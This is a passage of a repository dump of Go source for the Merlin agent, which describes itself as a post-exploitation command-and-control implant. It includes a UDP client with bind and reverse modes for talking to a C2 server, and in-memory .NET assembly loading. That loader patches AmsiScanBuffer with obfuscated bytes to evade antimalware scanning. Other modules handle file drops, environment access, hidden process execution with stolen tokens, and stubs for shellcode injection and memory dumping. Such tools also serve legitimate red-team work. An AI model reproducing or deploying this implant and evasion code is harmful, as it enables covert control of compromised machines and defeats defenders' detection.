bytes equaling %d fragments to %s at %s\", len(outData), fragments, client.client, time.Now().UTC().Format(time.RFC3339)))\n\tvar n int\n\tvar i int\n\tsize := len(outData)\n\tfor i < fragments {\n\t\tstart := i * MaxSize\n\t\tvar stop int\n\t\t// if bytes remaining are less than max size, read until the end\n\t\tif size < MaxSize {\n\t\t\tstop = len(outData)\n\t\t} else {\n\t\t\tstop = (i + 1) * MaxSize\n\t\t}\n\t\tswitch client.mode {\n\t\tcase BIND:\n\t\t\t//fmt.Printf(\"[*-%d]%d:%d\\n\", i, start, stop)\n\t\t\tn, err = client.listener.WriteTo(outData[start:stop], client.client)\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Send(): Wrote %d bytes from %s to connection %s at %s\", n, client.listener.LocalAddr(), client.client, time.Now().UTC().Format(time.RFC3339)))\n\t\tcase REVERSE:\n\t\t\tn, err = client.connection.Write(outData[start:stop])\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Send(): Wrote %d bytes from %s to connection %s at %s\", n, client.connection.RemoteAddr(), client.client, time.Now().UTC().Format(time.RFC3339)))\n\t\t}\n\n\t\ti++\n\t\tsize = size - MaxSize\n\t\t// UDP packets seemed to get dropped if too many are sent too fast\n\t\tif fragments > 100 {\n\t\t\ttime.Sleep(time.Millisecond * 10)\n\t\t}\n\t}\n\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/udp.Send(): there was an error writing the message to the connection with %s: %s\", client.client, err)\n\t\treturn\n\t}\n\n\tif client.mode == BIND {\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Wrote %d bytes to connection %s from %s at %s\", len(outData), client.client, client.address, time.Now().UTC().Format(time.RFC3339)))\n\t} else {\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Wrote %d bytes to connection %v from %v at %s\", len(outData), client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t}\n\n\treturn\n}\n\n// SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response\n// messages and returns them\nfunc (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients/udp.SendAndWait()...\")\n\n\t// Send\n\treturnMessages, err = client.Send(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/udp.SendAndWait(): %s\", err)\n\t\treturn\n\t}\n\n\t// Listen\n\treturn client.Listen()\n}\n\n// Get is a generic function that is used to retrieve the value of a Client's field\nfunc (client *Client) Get(key string) (value string) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Get(): entering into function with key: %s\", key))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Get(): leaving function with value: %s\", value))\n\tswitch strings.ToLower(key) {\n\tcase \"ja3\":\n\t\treturn \"\"\n\tcase \"paddingmax\":\n\t\tvalue = strconv.Itoa(client.paddingMax)\n\tcase \"protocol\":\n\t\tvalue = client.String()\n\tdefault:\n\t\tvalue = fmt.Sprintf(\"unknown client configuration setting: %s\", key)\n\t}\n\treturn\n}\n\n// ResetListener closes the listener for BIND Agents and sets it and the client to nil to facilitate a new client connection\nfunc (client *Client) ResetListener() (err error) {\n\tcli.Message(cli.DEBUG, \"clients/udp.ResetListener(): entering into function...\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.ResetListener(): leaving function with error: %v\", err))\n\tif client.listener != nil {\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"UDP listener reset at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\terr = client.listener.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/udp.ResetListener(): there was an error closing the listener: %s\", err)\n\t\t}\n\t\tclient.Lock()\n\t\tclient.listener = nil\n\t\tclient.client = nil\n\t\tclient.Unlock()\n\t\tif len(client.connected) > 0 {\n\t\t\t<-client.connected\n\t\t}\n\t}\n\treturn\n}\n\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Set(): entering into function with key: %s, value: %s\", key, value))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Set(): exiting function with err: %v\", err))\n\tclient.Lock()\n\tdefer client.Unlock()\n\n\tswitch strings.ToLower(key) {\n\tcase \"addr\":\n\t\t// Validate address\n\t\t_, err = net.ResolveUDPAddr(\"udp\", value)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/udp.Set(): there was an error parsing the provide address %s : %s\", value, err)\n\t\t\treturn\n\t\t}\n\t\tclient.address = value\n\t\tif client.mode == BIND {\n\t\t\terr = client.ResetListener()\n\t\t} else {\n\t\t\tclient.connection = nil\n\t\t\tclient.listener = nil\n\t\t}\n\tcase \"bind\":\n\t\terr = client.ResetListener()\n\tcase \"listener\":\n\t\tvar id uuid.UUID\n\t\tid, err = uuid.Parse(value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/udp.Set(): %s\", err)\n\t\t}\n\t\tclient.listenerID = id\n\tcase \"paddingmax\":\n\t\tclient.paddingMax, err = strconv.Atoi(value)\n\tcase \"secret\":\n\t\tclient.secret = []byte(value)\n\tdefault:\n\t\terr = fmt.Errorf(\"unknown udp client setting: %s\", key)\n\t}\n\treturn err\n}\n\n// String returns the type of UDP client\nfunc (client *Client) String() string {\n\tswitch client.mode {\n\tcase BIND:\n\t\treturn \"udp-bind\"\n\tcase REVERSE:\n\t\treturn \"udp-reverse\"\n\tdefault:\n\t\treturn \"udp-unhandled\"\n\t}\n}\n\nfunc (client *Client) Synchronous() bool {\n\tswitch client.mode {\n\tcase BIND:\n\t\treturn true\n\tcase REVERSE:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n"
  },
  {
    "path": "clients/udp/udp_exclude.go",
    "content": "//go:build !udp && (http || http1 || http2 || http3 || mythic || winhttp || smb || tcp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package udp contains a configurable client used for UDP-based peer-to-peer Agent communications\npackage udp\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Internal\n\tmessages \"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n}\n\n// Config is a structure used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAddress      []string  // Address the interface and port the agent will bind to\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tAuthPackage  string    // AuthPackage the type of authentication the agent should use when communicating with the server\n\tListenerID   uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with\n\tPadding      string    // Padding the max amount of data that will be randomly selected and appended to every message\n\tPSK          string    // PSK the Pre-Shared Key secret the agent will use to start authentication\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tMode         string    // Mode the type of client or communication mode (e.g., BIND or REVERSE)\n}\n\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(Config) (*Client, error) {\n\treturn nil, fmt.Errorf(\"clients/udp.New(): UDP client not compiled into this program\")\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(messages.Base) (err error) {\n\treturn fmt.Errorf(\"clients/udp.Authenticate(): UDP client not compiled into this program\")\n}\n\n// Get is a generic function used to retrieve the value of a Client's field\nfunc (client *Client) Get(string) string {\n\treturn fmt.Sprintf(\"clients/udp.Get(): UDP client not compiled into this program\")\n}\n\n// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent\nfunc (client *Client) Initial() error {\n\treturn fmt.Errorf(\"clients/udp.Initial(): UDP client not compiled into this program\")\n}\n\n// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/udp.LIsten(): UDP client not compiled into this program\")\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.\n// This function DOES not wait or listen for response messages.\nfunc (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/udp.Send(): UDP client not compiled into this program\")\n\treturn\n}\n\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\treturn fmt.Errorf(\"clients/udp.Set(): UDP client not compiled into this program\")\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\treturn false\n}\n"
  },
  {
    "path": "commands/clr.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed\nfunc CLR(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering CLR() with %+v\", cmd))\n\treturn jobs.Results{\n\t\tStderr: \"the CLR module is not supported by this agent type\",\n\t}\n}\n"
  },
  {
    "path": "commands/clr_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n\n\t// 3rd Party\n\tclr \"github.com/Ne0nd0g/go-clr\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/evasion\"\n)\n\n// runtimeHost is the main object used to interact with the CLR to load and invoke assemblies\nvar runtimeHost *clr.ICORRuntimeHost\n\n// assemblies is a list of the loaded assemblies that can be invoked\nvar assemblies = make(map[string]assembly)\n\n// redirected tracks if STDOUT/STDERR have been redirected for the CLR so that they can be captured\n// and send back to the server\nvar redirected bool\n\nvar patched bool\n\n// assembly is a structure to represent a loaded assembly that can subsequently be invoked\ntype assembly struct {\n\tname       string\n\tversion    string\n\tmethodInfo *clr.MethodInfo\n}\n\n// CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed\nfunc CLR(cmd jobs.Command) jobs.Results {\n\tclr.Debug = core.Debug\n\tif len(cmd.Args) > 0 {\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"CLR module command: %s\", cmd.Args[0]))\n\t\tswitch strings.ToLower(cmd.Args[0]) {\n\t\tcase \"start\":\n\t\t\treturn startCLR(cmd.Args[1])\n\t\tcase \"list-assemblies\":\n\t\t\treturn listAssemblies()\n\t\tcase \"load-assembly\":\n\t\t\treturn loadAssembly(cmd.Args[1:])\n\t\tcase \"load-clr\":\n\t\t\treturn startCLR(cmd.Args[1])\n\t\tcase \"invoke-assembly\":\n\t\t\treturn invokeAssembly(cmd.Args[1:])\n\t\tdefault:\n\t\t\tj := jobs.Results{\n\t\t\t\tStderr: fmt.Sprintf(\"unrecognized CLR command: %s\", cmd.Args[0]),\n\t\t\t}\n\t\t\treturn j\n\t\t}\n\t}\n\tj := jobs.Results{\n\t\tStderr: \"no arguments were provided to the CLR module\",\n\t}\n\treturn j\n}\n\n// startCLR loads the CLR runtime version number from Args[0] into the current process\nfunc startCLR(runtime string) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Received input parameter for startCLR function: %s\", runtime))\n\n\tvar err error\n\t// Redirect STDOUT/STDERR so it can be captured\n\tif !redirected {\n\t\terr = clr.RedirectStdoutStderr()\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error redirecting STDOUT/STDERR:\\n%s\", err)\n\t\t\tcli.Message(cli.WARN, results.Stderr)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Load the CLR and an ICORRuntimeHost instance\n\tif runtime == \"\" {\n\t\truntime = \"v4\"\n\t}\n\truntimeHost, err = clr.LoadCLR(runtime)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling the startCLR function:\\n%s\", err)\n\t\tcli.Message(cli.WARN, results.Stderr)\n\t\treturn\n\t}\n\tresults.Stdout = fmt.Sprintf(\"\\nThe %s .NET CLR runtime was successfully loaded\", runtime)\n\n\t// Patch AMSI ScanBuffer\n\tif !patched {\n\t\tpatch := []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}\n\t\tout, err := evasion.Patch(\"amsi.dll\", \"AmsiScanBuffer\", &patch)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error patching the amsi!ScanBuffer function: %s\", err)\n\t\t} else {\n\t\t\tresults.Stdout += fmt.Sprintf(\"\\n%s\", out)\n\t\t\tpatched = true\n\t\t}\n\n\t}\n\n\tcli.Message(cli.SUCCESS, results.Stdout)\n\treturn\n}\n\n// loadAssembly loads an assembly into the runtimeHost's default AppDomain\nfunc loadAssembly(args []string) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, \"Entering into clr.loadAssembly()...\")\n\t//cli.Message(cli.DEBUG, fmt.Sprintf(\"Received input parameter for loadAssembly function: %+v\", args))\n\tif len(args) > 1 {\n\t\tvar a assembly\n\t\ta.name = strings.ToLower(args[1])\n\t\tfor _, v := range assemblies {\n\t\t\tif v.name == a.name {\n\t\t\t\tresults.Stderr = fmt.Sprintf(\"the '%s' assembly is already loaded\", a.name)\n\t\t\t\tcli.Message(cli.WARN, results.Stderr)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// Load the v4 runtime if there are not any runtimes currently loaded\n\t\tif runtimeHost == nil {\n\t\t\tresults = startCLR(\"\")\n\t\t\tif results.Stderr != \"\" {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// Base64 decode Arg[1], the assembly bytes\n\t\tassembly, err := base64.StdEncoding.DecodeString(args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there  was an error decoding the Base64 string: %s\", err)\n\t\t\tcli.Message(cli.WARN, results.Stderr)\n\t\t\treturn\n\t\t}\n\n\t\t// Load the assembly\n\t\ta.methodInfo, err = clr.LoadAssembly(runtimeHost, assembly)\n\t\tif err != nil {\n\t\t\t// HRESULT: 0x8007000b COR_E_BADIMAGEFORMAT\n\t\t\t// https://referencesource.microsoft.com/#mscorlib/system/__hresults.cs,7041cd5c9aa1948b,references\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling the loadAssembly function:\\n%s\", err)\n\t\t\tcli.Message(cli.WARN, results.Stderr)\n\t\t\treturn\n\t\t}\n\n\t\tassemblies[a.name] = a\n\t\tresults.Stdout += fmt.Sprintf(\"\\nSuccessfully loaded %s into the default AppDomain\", a.name)\n\t\tcli.Message(cli.SUCCESS, results.Stdout)\n\t\treturn\n\t}\n\tresults.Stderr = fmt.Sprintf(\"expected 2 arguments for the load-assembly command, received %d\", len(args))\n\tcli.Message(cli.WARN, results.Stderr)\n\treturn\n}\n\n// invokeAssembly executes a previously loaded assembly\nfunc invokeAssembly(args []string) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, \"Entering into clr.invokeAssembly()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Received input parameter for invokeAssembly function: %+v\", args))\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Invoking .NET assembly: %s\", args))\n\tif len(args) > 0 {\n\t\tvar isLoaded bool\n\t\tvar a assembly\n\t\tfor _, v := range assemblies {\n\t\t\tif v.name == strings.ToLower(args[0]) {\n\t\t\t\tisLoaded = true\n\t\t\t\ta = v\n\t\t\t}\n\t\t}\n\t\tif isLoaded {\n\t\t\t// Setup OS environment, if any\n\t\t\terr := Setup()\n\t\t\tif err != nil {\n\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer TearDown()\n\t\t\tcore.Mutex.Lock()\n\t\t\tresults.Stdout, results.Stderr = clr.InvokeAssembly(a.methodInfo, args[1:])\n\t\t\tcore.Mutex.Unlock()\n\t\t\tcli.Message(cli.DEBUG, \"Leaving clr.invokeAssembly() function without error\")\n\t\t\treturn\n\t\t}\n\t\tresults.Stderr = fmt.Sprintf(\"the '%s' assembly is not loaded\", args[0])\n\t\tcli.Message(cli.WARN, results.Stderr)\n\t\treturn\n\t}\n\tresults.Stderr = fmt.Sprintf(\"expected at least 1 arguments for the invokeAssembly function, received %d\", len(args))\n\tcli.Message(cli.WARN, results.Stderr)\n\treturn\n}\n\n// listAssemblies enumerates the loaded .NET assemblies and returns them\nfunc listAssemblies() (results jobs.Results) {\n\tresults.Stdout = \"Loaded Assemblies:\\n\"\n\tfor _, v := range assemblies {\n\t\tresults.Stdout += fmt.Sprintf(\"%s\\n\", v.name)\n\t}\n\tcli.Message(cli.SUCCESS, results.Stdout)\n\treturn\n}\n"
  },
  {
    "path": "commands/download.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// Download receives a job from the server to download a file to host where the Agent is running\nfunc Download(transfer jobs.FileTransfer) (result jobs.Results) {\n\tcli.Message(cli.DEBUG, \"Entering into commands.Download() function\")\n\n\t// Agent will be downloading a file from the server\n\tcli.Message(cli.NOTE, \"FileTransfer type: Download\")\n\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\tresult.Stderr = err.Error()\n\t\treturn\n\t}\n\t// Defer TearDown and return any errors\n\tdefer func() {\n\t\terr = TearDown()\n\t\tif err != nil {\n\t\t\tresult.Stderr += fmt.Sprintf(\"there was an error tearing down the OS environment when executing the 'cd' command: %s\", err)\n\t\t}\n\t}()\n\n\t_, directoryPathErr := os.Stat(filepath.Dir(transfer.FileLocation))\n\tif directoryPathErr != nil {\n\t\tresult.Stderr = fmt.Sprintf(\"There was an error getting the FileInfo structure for the remote \"+\n\t\t\t\"directory %s:\\r\\n\", transfer.FileLocation)\n\t\tresult.Stderr += directoryPathErr.Error()\n\t}\n\tif result.Stderr == \"\" {\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Writing file to %s\", transfer.FileLocation))\n\t\tdownloadFile, downloadFileErr := base64.StdEncoding.DecodeString(transfer.FileBlob)\n\t\tif downloadFileErr != nil {\n\t\t\tresult.Stderr = downloadFileErr.Error()\n\t\t} else {\n\t\t\terrF := os.WriteFile(transfer.FileLocation, downloadFile, 0600)\n\t\t\tif errF != nil {\n\t\t\t\tresult.Stderr = errF.Error()\n\t\t\t} else {\n\t\t\t\tresult.Stdout = fmt.Sprintf(\"Successfully uploaded file to %s\", transfer.FileLocation)\n\t\t\t}\n\t\t}\n\t}\n\treturn result\n}\n"
  },
  {
    "path": "commands/env.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// env is used to view or modify a host's environment variables\nfunc env(Args []string) (resp string, stderr string) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering ENV() with args: %+v...\", Args))\n\tif len(Args) > 0 {\n\t\tswitch strings.ToLower(Args[0]) {\n\t\tcase \"get\":\n\t\t\tif len(Args) < 2 {\n\t\t\t\tstderr = fmt.Sprintf(\"not enough arguments for the env get command: %+v\", Args)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tresp = fmt.Sprintf(\"\\nEnvironment variable %s=%s\", Args[1], os.Getenv(Args[1]))\n\t\tcase \"set\":\n\t\t\tif len(Args) < 3 {\n\t\t\t\tstderr = fmt.Sprintf(\"not enough arguments for the env set command: %+v\", Args)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr := os.Setenv(Args[1], Args[2])\n\t\t\tif err != nil {\n\t\t\t\tstderr = fmt.Sprintf(\"there was an error setting the %s environment variable:\\n%s\", Args[1], err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tresp = fmt.Sprintf(\"\\nSet environment variable: %s=%s\", Args[1], Args[2])\n\t\tcase \"showall\":\n\t\t\tresp += \"\\nEnvironment variables:\\n\"\n\t\t\tfor _, element := range os.Environ() {\n\t\t\t\tresp += fmt.Sprintf(\"%s\\n\", element)\n\t\t\t}\n\t\tcase \"unset\":\n\t\t\tif len(Args) < 2 {\n\t\t\t\tstderr = fmt.Sprintf(\"not enough arguments for the env unset command: %+v\", Args)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr := os.Unsetenv(Args[1])\n\t\t\tif err != nil {\n\t\t\t\tstderr = fmt.Sprintf(\"there was an error unsetting the %s environment variable:\\n%s\", Args[1], err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tresp = fmt.Sprintf(\"\\nUnset environment variable: %s\", Args[1])\n\t\tdefault:\n\t\t\tstderr = fmt.Sprintf(\"Invlalid env command: %s\", Args[0])\n\t\t}\n\t\treturn\n\t}\n\tstderr = \"an argument was not provided to the env command\"\n\treturn\n}\n"
  },
  {
    "path": "commands/exec.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"errors\"\n\t\"fmt\"\n\t\"os/exec\"\n)\n\n// ExecuteCommand is a function used to instruct an agent to execute a command on the host operating system\nfunc executeCommand(name string, args []string) (stdout string, stderr string) {\n\tcmd := exec.Command(name, args...) // #nosec G204\n\n\tout, err := cmd.CombinedOutput()\n\tif cmd.Process != nil {\n\t\tstdout = fmt.Sprintf(\"Created %s process with an ID of %d\\n\", name, cmd.Process.Pid)\n\t}\n\tstdout += string(out)\n\n\tif err != nil {\n\t\tstderr = err.Error()\n\t}\n\n\treturn stdout, stderr\n}\n\n// ExecuteShellcodeSelf executes provided shellcode in the current process\n//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeSelf(shellcode []byte) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}\n\n// ExecuteShellcodeRemote executes provided shellcode in the provided target process\n//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}\n\n// ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call\n//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}\n\n// ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call\n//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeQueueUserAPC([]byte, uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}\n\n// ExecuteShellcodeCreateProcessWithPipe creates a child process, redirects STDOUT/STDERR to an anonymous pipe, injects/executes shellcode, and retrieves output\n//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\n\treturn stdout, stderr, fmt.Errorf(\"CreateProcess modules in not implemented for this operating  system\")\n}\n\n// miniDump is a Windows only module function to dump the memory of the provided process\n//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\treturn mini, errors.New(\"minidump doesn't work on non-windows hosts\")\n}\n"
  },
  {
    "path": "commands/exec_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n\t\"unicode/utf8\"\n\t\"unsafe\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Sub Repositories\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/kernel32\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/ntdll\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/text\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens\"\n)\n\n// executeCommand instruct an agent to execute a program on the host operating system\nfunc executeCommand(name string, args []string) (stdout string, stderr string) {\n\tattr := &syscall.SysProcAttr{\n\t\tHideWindow: true,\n\t\tToken:      syscall.Token(tokens.Token),\n\t}\n\treturn executeCommandWithAttributes(name, args, attr)\n}\n\n// executeCommandWithAttributes starts the process with the provided system process attributes and returns the output\n// https://pkg.go.dev/syscall?GOOS=windows#SysProcAttr\nfunc executeCommandWithAttributes(name string, args []string, attr *syscall.SysProcAttr) (stdout string, stderr string) {\n\tapplication, err := 